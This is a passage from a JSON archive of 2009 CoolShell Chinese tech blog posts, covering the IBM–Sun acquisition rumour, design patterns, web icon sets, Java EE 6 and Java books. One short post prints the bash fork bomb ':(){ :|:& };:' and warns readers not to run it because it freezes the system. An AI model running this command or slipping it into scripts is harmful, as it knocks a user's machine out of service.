Novell/WordPerfect, AT&T/NCR,  AOL/Time Warner, Symantec/Veritas 等等).\n\n\n当然，本人要给IBM收购Sun的这种行为竖个大拇哥以示表扬。为什么？[因为我们的Sun目前正生活在炼狱中](http://www.thevarguy.com/2009/01/30/is-sun-microsystems-the-new-novell/)，但是它却不可小视，因为这个公司有关很很的排列整齐的开源项目 ([MySQL](http://mysql.com/), [open source storage](http://www.thevarguy.com/2008/11/10/sun-open-storage-appliances-meet-the-open-source-channel/) 等) ，但是如果与 Sun的过时的生意(SPARC, Solaris, 等)比起来，这些只能为Sun带来硬币级利润的开源项目只能算个屁了。\n\n\n如果IBM真的收购了Sun，那么下面是我的四个预言：\n\n\n1. **长期停止Sun的基于RISC的 SPARC处理器。** IBM 本来就有了基于 RISC 技术的处理器( [POWER](http://en.wikipedia.org/wiki/IBM_POWER) 产品线)。让我们公正诚实地来看待这个问题，这些大的公司正在四周布满Intel服务器的环境下巩固他们的过气的RISC数据中心。我们不得不说，IBM的确干了一件相当出色的事情来长期地支援那些过气的硬件，而真实的研发 会出现一些POWER/SPARC 的结合变种以面对高端定位。\n2. **Sun Solaris 必然会被混合到 IBM AIX中。** 这个世界有太多的Unix了，IBM找到了一个很有创意的方法取代于继续支持两个Unix，那就是把Solais和AIX所有的功能特性合并到一起。然后和HP-UX竞争，但最终可能的结果也许为成为Linux。这里，我希望大家不要在OpenSolris这里纠缠争论，因为本人强烈地怀疑IBM会把OpenSolaris直接做成Linux的另一选择。\n3. **MySQL 是个大赢家。**今天MySQL在东家Sun这里一看多了。MySQL在这些并购中的声望可以继续增涨，但是MySQL的职员可能会因此离开，而且MySQL内讧也会或多或少打击到开源数据。但有了强大的IBM Global Services 和 Big Blue 的销售渠道，MySQL 只会更加繁荣和兴旺。而且和DB2的联姻，IBM获得了一个强有力的组合拳（one-two punch） ，Oracle 和Microsoft SQL Server自然要被挨打。\n4. **Linux。**这是这个游戏中最大最大的赢家。不但可以在IBM自主的技术蓝图中和Sun的硬件和软件联合起来，而且可以向Linux的数据中心进军，甚至Linux的桌面系统可以加快速度。相信我，绝对没错的。\n\n\n不但如此，IBM 收购Sun 还绝对说明了三件事： 1）合并了技术，2）合并了员工，3）控制了Sun的客户基础。\n\n\nSun 用户不应该会恐慌，因为IBM拥有如此之强的实力会继续提供那些过气了的产品。实际上，Sun的用户只会在“如果IBM不收购Sun”时才会感到恐慌……\n\n\n好了，让我用一个思考性的问题来结束这个文章吧——到底是谁泄露IBM收购Sun的这个价格？为什么要泄露？难道是有人想要把HP也拉进来坐地起价？ 嘿嘿…\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Oracle的战书！](../wp-content/uploads/2009/09/sun_customers_lg-150x150.gif)](https://coolshell.cn/articles/1426.html)[Oracle的战书！](https://coolshell.cn/articles/1426.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/595.html)[Oracle成功收购Sun](https://coolshell.cn/articles/595.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/1038.html)[编程命名中的7+1个提示](https://coolshell.cn/articles/1038.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/2155.html)[别只谈系统备份，谈谈怎样恢复系统吧！](https://coolshell.cn/articles/2155.html)\n* [![18个Web开发的IDE](../wp-content/uploads/2009/06/visual_web_developer-150x150.jpg)](https://coolshell.cn/articles/968.html)[18个Web开发的IDE](https://coolshell.cn/articles/968.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\nThe post [IBM收购Sun，这是一种什么样的精神？](https://coolshell.cn/articles/203.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 101个设计模式.md",
    "content": "---\nlayout: post\ntitle: 101个设计模式\ndate: 2009/3/2/ 5:59:3\nupdated: 2009/3/2/ 5:59:3\nstatus: publish\npublished: true\ntype: post\n---\n\n所以设计模式，实是是一种方法，一种为了解决某种或某类物定问题所使用的设计模型。据说，在编程语言方面有100多种设计模式，而在现实生活中，传说有上成千上万个模式，比如写书有写书的设计模式，写武侠的一种，言情的另一种，连官方的新闻稿件也有。\n\n\n\nhttp://sourcemaking.com/files/sm/dp_book.jpg言归正传，这个站点（<http://sourcemaking.com/design-patterns-and-tips>）是向大家着力推荐的讲解编程方面设计模式的网站，除了GoF那经典的23个三大类的设计模式，还有Ｎ多的其它种类的设计模式。一共101个，最重要的是，它的这101个设计模式的写作模式如下：\n\n\n1. 模式的意图\n2. 要解决什么样的问题\n3. 模式的讨论\n4. 模式的结构\n5. 模式的业务示例\n6. 实现模式的Checklist\n7. 模式的规则\n8. 代码示例（包括各种语言，如：Java, C++, PHP, Delphi…）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](https://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/6950.html)[需求变化与IoC](https://coolshell.cn/articles/6950.html)\nThe post [101个设计模式](https://coolshell.cn/articles/21.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 50套Web开发图标.md",
    "content": "---\nlayout: post\ntitle: 50套Web开发图标\ndate: 2009/3/2/ 5:31:43\nupdated: 2009/3/2/ 5:31:43\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是号称最好的50套WEB开发的图标。来源：[链接](http://speckyboy.com/2009/02/02/50-of-the-best-ever-web-development-design-and-application-icon-sets)\n\n\n其它相关的一些文章\n\n\n* [30 Amazingly Creative Social Bookmarks Icon Sets ?](http://speckyboy.com/2009/01/26/30-amazingly-creative-social-bookmarks-icon-sets)\n* [42 Amazing Photoshop and Illustrator Icon Design Tutorials ?](http://speckyboy.com/2009/01/22/42-amazing-photoshop-and-illustrator-icon-design-tutorials)\n* [35 Free Icon Sets for your iPhone – Pimp it Up! ?](http://speckyboy.com/2008/07/18/35-free-icon-sets-for-your-iphone-pimp-it-up)\n* [Top 12 Icon Design Video Tutorials ?](http://speckyboy.com/2008/05/03/top-12-icon-design-video-tutorials)\n* [Top 5 Free Icon Editors for the Pro Designer ?](http://speckyboy.com/2008/05/03/top-5-free-icon-editors-for-the-pro-designer)\n* [The Best Icon Search Engines and Features for Designers ?](http://speckyboy.com/2008/02/05/the-best-icon-search-engines-and-features-for-designers)\n\n\n\n[Sweetie – Cute and clear icons](http://sweetie.sublink.ca)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon3.png)](http://sweetie.sublink.ca)\n\n\n[famfamfam – Mini Icons](http://www.famfamfam.com/lab/icons/mini)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon4.png)](http://www.famfamfam.com/lab/icons/mini)\n\n\n[Vector Icon Set](http://www.monofactor.com/free-vector-icon-set-1-25-icons)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon5.png)](http://www.monofactor.com/free-vector-icon-set-1-25-icons)\n\n\n[Facebook UI Icon Set](http://lopagof.deviantart.com/art/facebook-ui-icons-vector-90099876)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon6.png)](http://lopagof.deviantart.com/art/facebook-ui-icons-vector-90099876)\n\n\n[Fugue Icons](http://www.pinvoke.com)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon7.png)](http://www.pinvoke.com)\n\n\n### [bwpx Icons](http://paularmstrongdesigns.com/projects/bwpx-icns)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon1.png)](http://paularmstrongdesigns.com/projects/bwpx-icns)\n\n\n[Sanscons Icon Set](http://somerandomdude.com/projects/sanscons)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon2.png)](http://somerandomdude.com/projects/sanscons)\n\n\n[Diagona Icons](http://www.pinvoke.com)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon7a.png)](http://www.pinvoke.com)\n\n\n[Milky Icon Set](http://min.frexy.com/articles/category/milky)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon8.png)](http://min.frexy.com/articles/category/milky)\n\n\n[Pixelicious Icon Set](http://pixelresort.com/icon)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon9.png)](http://pixelresort.com/icon)\n\n\n[Xiao Icon Set](http://www.ineversay.com/my-works/xiao-icon.html)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon10.png)](http://www.ineversay.com/my-works/xiao-icon.html)\n\n\n[Mini Pixel Icons](http://www.ndesign-studio.com/resources/mini-pixel-icons)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon11.png)](http://www.ndesign-studio.com/resources/mini-pixel-icons)\n\n\n[Function Icon Set](http://wefunction.com/2008/07/function-free-icon-set)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon12.png)](http://wefunction.com/2008/07/function-free-icon-set)\n\n\n[ASP.NET Icon Set](http://www.aspneticons.com)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon13.png)](http://www.aspneticons.com)\n\n\n[Light Icon Set](http://sone-pl.deviantart.com/art/Light-Icons-74036005)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon14.png)](http://sone-pl.deviantart.com/art/Light-Icons-74036005)\n\n\n[Liquidicity Icon Set](http://www.gosquared.com/liquidicity/archives/122)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon15.png)](http://www.gosquared.com/liquidicity/archives/122)\n\n\n[“sketch’d up!” Icon Set](http://www.behance.net/Gallery/iconset-sketchd-up/158535)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon16.png)](http://www.behance.net/Gallery/iconset-sketchd-up/158535)\n\n\n[Ganato – Psd Icons](http://www.ganato.com/free_icons/free_icons.php)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon17.png)](http://www.ganato.com/free_icons/free_icons.php)\n\n\n[Two Tone Icon Set](http://code.google.com/p/twotiny)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon18.png)](http://code.google.com/p/twotiny)\n\n\n[TwoTiny Icon Set](http://code.google.com/p/twotiny)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon19.png)](http://code.google.com/p/twotiny)\n\n\n[Web2.0 Icons Pack](http://www.oweb2.com/free-web20-icons-pack)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon20.png)](http://www.oweb2.com/free-web20-icons-pack)\n\n\n[Proxal Icon Set v2](http://valkyre.deviantart.com/art/Proxal-Icon-Set-v2-17102198)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon21.png)](http://valkyre.deviantart.com/art/Proxal-Icon-Set-v2-17102198)\n\n\n[Brand Spanking New Icon Set](http://www.brandspankingnew.net/archive/2006/12/hohoho.html)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon22.png)](http://www.brandspankingnew.net/archive/2006/12/hohoho.html)\n\n\n[Perfect Blog Icons](http://www.perfect-icons.com/stock-icons/perfect-blog-icons.htm)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon23.png)](http://www.perfect-icons.com/stock-icons/perfect-blog-icons.htm)\n\n\n[Web Application Icons](http://yingjunjiu.deviantart.com/art/Web-Application-Icons-Set-77183527)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon24.png)](http://yingjunjiu.deviantart.com/art/Web-Application-Icons-Set-77183527)\n\n\n[Irokez CMS Icon Set](http://kurumizawa.deviantart.com/art/Irokez-cms-icon-set-79949798)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon25.png)](http://kurumizawa.deviantart.com/art/Irokez-cms-icon-set-79949798)\n\n\n[BacktoPixel Icon Set](http://icojoy.com/articles/28)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon26.png)](http://icojoy.com/articles/28)\n\n\n[Sizcons – Random Jabber](http://www.randomjabber.com/static/sizcons)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon27.png)](http://www.randomjabber.com/static/sizcons)\n\n\n[famfamfam – Silk Icons](http://www.famfamfam.com/lab/icons/silk)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon28.png)](http://www.famfamfam.com/lab/icons/silk)\n\n\n[ExplodingBoy Pixel Icons](http://www.exploding-boy.com/2005/09/13/explodingboy-pixel-icons)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon29.png)](http://www.exploding-boy.com/2005/09/13/explodingboy-pixel-icons)\n\n\n[Greyscale Icon Development](http://e-lusion.com/design/greyscale)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon30.png)](http://e-lusion.com/design/greyscale)\n\n\n[File icons and Computer Icon Set](http://www.freeiconsweb.com/16x16_Computer_File_icons.htm)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon31.png)](http://www.freeiconsweb.com/16x16_Computer_File_icons.htm)\n\n\n[Small Arrow Icon Set](http://www.freeiconsweb.com/16x16_arrow_icons.htm)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon32.png)](http://www.freeiconsweb.com/16x16_arrow_icons.htm)\n\n\n[Minimal Icons](http://sryo.deviantart.com/art/minimal-icons-1-8-6-18808605)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon33.png)](http://sryo.deviantart.com/art/minimal-icons-1-8-6-18808605)\n\n\n[Markup Iconsets](http://bs-markup.de/iconsets)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon34.png)](http://bs-markup.de/iconsets)\n\n\n[GraphicPUSH Blog Icons](http://www.websiteicons.net/index.php?p=icons&id=1)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon35.png)](http://www.websiteicons.net/index.php?p=icons&id=1)\n\n\n[Pixeley Icon Set](http://www.websiteicons.net/index.php?p=icons&id=1)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon36.png)](http://www.websiteicons.net/index.php?p=icons&id=1)\n\n\n[Drunkey Love](http://www.websiteicons.net/index.php?p=icons&id=1)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon37.png)](http://www.websiteicons.net/index.php?p=icons&id=1)\n\n\n[PIXELATED Icon Set](http://plainbeta.com/downloads/pixelated-a-lightweight-iconkit)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon38.png)](http://plainbeta.com/downloads/pixelated-a-lightweight-iconkit)\n\n\n[Weby Icons](http://kyo-tux.deviantart.com/art/Weby-Icons-111008305)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon39.png)](http://kyo-tux.deviantart.com/art/Weby-Icons-111008305)\n\n\n[WebDev Icon Pack](http://indiandevs.com/devs/webdev-icon-pack-released)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon40.png)](http://indiandevs.com/devs/webdev-icon-pack-released)\n\n\n[Stickers Icon Set](http://dryicons.com/free-icons/preview/stickers-icon-set)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon41.png)](http://dryicons.com/free-icons/preview/stickers-icon-set)\n\n\n[WYSIWYG Classic Icon Set](http://dryicons.com/free-icons/preview/wysiwyg-classic)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon42.png)](http://dryicons.com/free-icons/preview/wysiwyg-classic)\n\n\n[Vaga Icon Set](http://www.tenbytwenty.com/products/icon-sets/vaga)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon43.png)](http://www.tenbytwenty.com/products/icon-sets/vaga)\n\n\n[WIP – Web Iconset](http://xlphs.deviantart.com/art/WIP-Web-Iconset-68480659)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon44.png)](http://xlphs.deviantart.com/art/WIP-Web-Iconset-68480659)\n\n\n[Free web development icons #1](http://icojoy.com/articles/19)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon45.png)](http://icojoy.com/articles/19)\n\n\n[Free web development icons #2](http://icojoy.com/articles/24)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon46.png)](http://icojoy.com/articles/24)\n\n\n[Free web development icons #3](http://icojoy.com/articles/25)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon47.png)](http://icojoy.com/articles/25)\n\n\n[Black Icon Set](http://www.freeiconsweb.com/16x16_black_icons.htm)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon48.png)](http://www.freeiconsweb.com/16x16_black_icons.htm)\n\n\n[Open Clip Art Library](http://openclipart.org)\n\n\n[![Development Icons](../wp-content/uploads/2009/02/webicon49.png)](http://openclipart.org)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [50套Web开发图标](https://coolshell.cn/articles/3.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 Fork 系统炸弹.md",
    "content": "---\nlayout: post\ntitle: Fork 系统炸弹\ndate: 2009/3/2/ 5:59:49\nupdated: 2009/3/2/ 5:59:49\nstatus: publish\npublished: true\ntype: post\n---\n\n这个炸弹很简单，就是一个命令行，如下所示：\n\n\n\n```\n:(){ :|:& };:\n```\n\n在此，我严重警告你，请不要在你的Unix/Linux或Cygwin的Shell下执行这个命令。否则，这个命令会不停地fork子进程，直到你的整个系统无法响应。\n\n\n再次警告你，请不要执行这个命令，除非你想重启你的系统。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![C++11的Lambda使用一例：华容道求解](../wp-content/uploads/2013/10/huarong-150x150.png)](https://coolshell.cn/articles/10476.html)[C++11的Lambda使用一例：华容道求解](https://coolshell.cn/articles/10476.html)\n* [![为什么我不在微信公众号上写文章](../wp-content/uploads/2016/07/Community-150x150.jpg)](https://coolshell.cn/articles/17391.html)[为什么我不在微信公众号上写文章](https://coolshell.cn/articles/17391.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\nThe post [Fork 系统炸弹](https://coolshell.cn/articles/23.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 Java EE6 初探.md",
    "content": "---\nlayout: post\ntitle: Java EE6 初探\ndate: 2009/3/2/ 5:33:45\nupdated: 2009/3/2/ 5:33:45\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n在[tss](http://www.theserverside.com/ \"TSS\")上，Reza Rahman发表了一篇关于JAVA EE6[《Java EE6 Overview》](http://www.theserverside.com/tt/articles/article.tss?l=JavaEE6Overview \"《Java EE6 Overview》\")的文章，在文章里面他谈及一些关于JavaEE6草案的一些修改内容。\n\n想JAVA企业级应用一路走来，从J2ee到Java EE5 在到即将要推出的Java EE6经历了一个由复杂到简单，由繁到简的过程。\n\n\nReza Rahman 文章说，Java EE6将会更简单，更轻量级，更易部署，Java EE6将会裁剪到Java EE5中不实用的部分。并且Java EE6将会为不同的用户群提供不同的规范子集。\n\n\n回顾上一版本Java EE 5中，主要引入了以下改变：  \n\n1）引入了EJB3.0  \n\n2）引入了JSF作Tier framework.  \n\n3）使用JAX-WS2.0取代了JAX-RPC作新一代的SOAP的Web service API  \n\n4）使用POJO编程，零配置系统和自由的XML减轻了系统的复杂性。\n\n\n\n而新版本的Java EE 6中，提供了一个更为简单，新型和完美整全的平台，并提供了非常丰富的技术，其包含WebBeans 1.0和JAX-RS 1.1，以及更为成熟的Servlet 3.0。\n\n\n他废除了如下的API:  \n\n1)JAX-RPC，(被JAX-WS API 取代)  \n\n2)EJB2.x 实体Beans CMP,（被EJB3.0取代）  \n\n3)JAXR, Java EE Appcliation Deployment(JSF-88)  \n\n4)Java EE Management (JSR-77)\n\n\n他具体包含了如下组件：  \n\n1）WebBeans 1.0：它基本上来说整合了 JSF, JPA 和 EJB 3的编程模型。  \n\n2）JSF 2.0：主要增加了Facelets，Facelets是一个开源的技术，并让JSF支持AJAX，等。  \n\n3）EJB 3.1：主要加入了单实例Bean的根念，支持cron-style调试，异步调用Session Bean的方法，等。  \n\n4）JPA 2.0：主要加了一系列的ORM映射扩展（如maps或lists等），增强了EntityManager和Query的APIs，JPQL支持SQL-like CASE, NULLIF, COALESCE，以及加入了Criteria API。  \n\n5）Servlet 3.0：更为成熟的Servlet引入了Java EE 5模型，更容易配置的web.xml，以及可以通过ServletContext以程序的方式添加Servlets, Filters 和Listeners，等等。  \n\n6）JAX-RS 1.1：REST 开始逐渐成为WEB开发的范例，JAX-RS主要设计目的是简化REST开发，POJO编程和Annotation配置。\n\n\n有关规范的草案可以<http://jcp.org/en/jsr/detail?id=316>.这里找到\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Java EE6 初探](https://coolshell.cn/articles/5.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 Java书籍Top 10.md",
    "content": "---\nlayout: post\ntitle: Java书籍Top 10\ndate: 2009/3/2/ 5:43:6\nupdated: 2009/3/2/ 5:43:6\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是[Java Inside](http://www.kiatemy.com/)上推荐的十本不错的Java书籍。（[文章来源](http://www.kiatemy.com/?p=93)）\n\n\n\nhttp://images.china-pub.com/ebook30001-35000/30979/zcover.jpg\n\n\n  **1）Java Language Specification, *Third Edition*** (*by James Gosling*) \n\n\n本书由Java技术的发明者编写，是Java TM编程语言的权威性技术指南。如果你想知道语言之构造的精确含义，本书是最好的资源。\n\n\n中文版链接：《[Java编程规范](http://www.china-pub.com/30979)》  \n\n英文版链接：《[The Java Language Specification (3rd Edition)](http://www.amazon.com/gp/product/0321246780/qid=1151978234/sr=11-1/ref=sr_11_1/103-0196201-4410255?n=283155) 》\n\n\n \n\n\n**http://images.china-pub.com/ebook195001-200000/195040/zcover.jpg** **2）** **Effective Java** , ***Second Edition*** (*by Joshua Bloch*)\n\n\n本书介绍了在Java编程中78条极具实用价值的经验规则，这些经验规则涵盖了大多数开发人员每天所面临的问题的解决方案。通过对Java平台设计专家所使用的技术的全面描述，揭示了应该做什么，不应该做什么才能产生清晰、健壮和高效的代码。.\n\n\n本书中的每条规则都以简短、独立的小文章形式出现，并通过例子代码加以进一步说明。本书内容全面，结构清晰，讲解详细。可作为技术人员的参考用书。…\n\n\n中文版链接：《[Effective Java 第二版](http://www.china-pub.com/195040)》  \n\n英文版链接：《[Effective Java (2nd Edition)](http://www.amazon.com/Effective-Java-2nd-Joshua-Bloch/dp/0321356683/ref=sr_11_1?ie=UTF8&qid=1231898916&sr=11-1) 》\n\n\n**http://images.china-pub.com/ebook30001-35000/34825/zcover.jpg** **3)** **Java Concurrency in Practice** (*by Brian Goetz*)\n\n\n随着多核处理器的普及，使用并发成为构建高性能应用程序的关键。Java 5以及6在开发并发程序取得了显著的进步，提高了Java虚拟机的性能，提高了并发类的可伸缩性，并加入了丰富的新并发构建块。在本书中，这些便利工具的创造者不仅解释了它们究竟如何工作、如何使用，同时，还阐释了创造它们的原因，及其背后的设计模式。 本书既能够成为读者的理论支持，又可以作为构建可靠的，可伸缩的，可维护的并发程序的技术支持。本书并不仅仅提供并发API的清单及其机制，本书还提供了设计原则，模式和思想模型，使我们能够更好地构建正确的，性能良好的并发程序。\n\n\n本书的读者是那些具有一定Java编程经验的程序员、希望了解Java SE 5，6在线程技术上的改进和新特性的程序员，以及Java和并发编程的爱好者。\n\n\n中文版链接：《[JAVA并发编程实践](http://www.china-pub.com/34825)》  \n\n英文版链接：《[Java Concurrency in Practice](http://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601/ref=pd_bbs_sr_1/104-7541332-0393550?ie=UTF8&s=books&qid=1184131642&sr=1-1) 》\n\n\n**http://images.china-pub.com/ebook25001-30000/28310/zcover.jpg** **4）Java Puzzles: Traps, Pitfalls and Corner Cases** (*by Joshua Bloch*)\n\n\nJava教父的又一经典名著–Java Puzzlers，Amazon五星图书。认为你到底有多了解Java？你是一个代码神探吗？你是否曾经花费过数天时间去追踪一个由Java或其类库的陷阱和缺陷而导致的bug？你喜欢智力测验吗？那么这本书正好适合你！\n中文版链接：《[JAVA解惑](http://www.china-pub.com/28310)》  \n\n英文版链接：《[Java Puzzlers : Traps, Pitfalls, and Corner Cases](http://www.amazon.com/gp/product/032133678X/qid=1134008561/sr=2-1/ref=pd_bbs_b_2_1/103-5953105-7638227?s=books&v=glance&n=283155) 》\n\n\n**http://images.china-pub.com/ebook30001-35000/34838/zcover.jpg** **5)** **Thinking in Java** (*by Bruce Eckel*)\n\n\n本书赢得了全球程序员的广泛赞誉，即使是最晦涩的概念，在Bruce 